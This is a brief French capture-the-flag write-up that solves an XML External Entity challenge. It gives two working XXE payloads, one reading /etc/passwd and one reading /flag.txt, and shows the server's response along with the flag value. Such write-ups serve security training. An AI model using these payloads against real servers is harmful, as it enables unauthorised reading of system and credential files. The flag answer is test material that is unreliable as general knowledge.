XML External Entities (XXE)
Consignes
Le flag se trouve à la racine !
Réalisation
Une fois la connexion au challenge de fait, on observe que l'on peut injecter du code XML sur le site. Le but va donc ĂŞtre d'essayer d'extraire des informations qui proviennent de la machine.
À l'aide du lien fourni ci-dessus, on réalise un premier test afin de vérifier l'accès aux fichiers présents sur la machine à l'aide du code suivant :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Une fois le code soumis au serveur, il nous retourne bien le contenu du fichier /etc/passwd
.
On modifie alors le code afin d'afficher le contenu de flag.txt
présent à la racine de la machine comme nous l'indique l'énoncé :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Suite Ă l'envoi de ce code XML au serveur, ce dernier nous retourne ceci :
<stockCheck>
<productId>2600{NHuohnNCk86DYUER0dB2eg}</productId>
</stockCheck>
On obtient donc le FLAG :
2600{NHuohnNCk86DYUER0dB2eg}
Last updated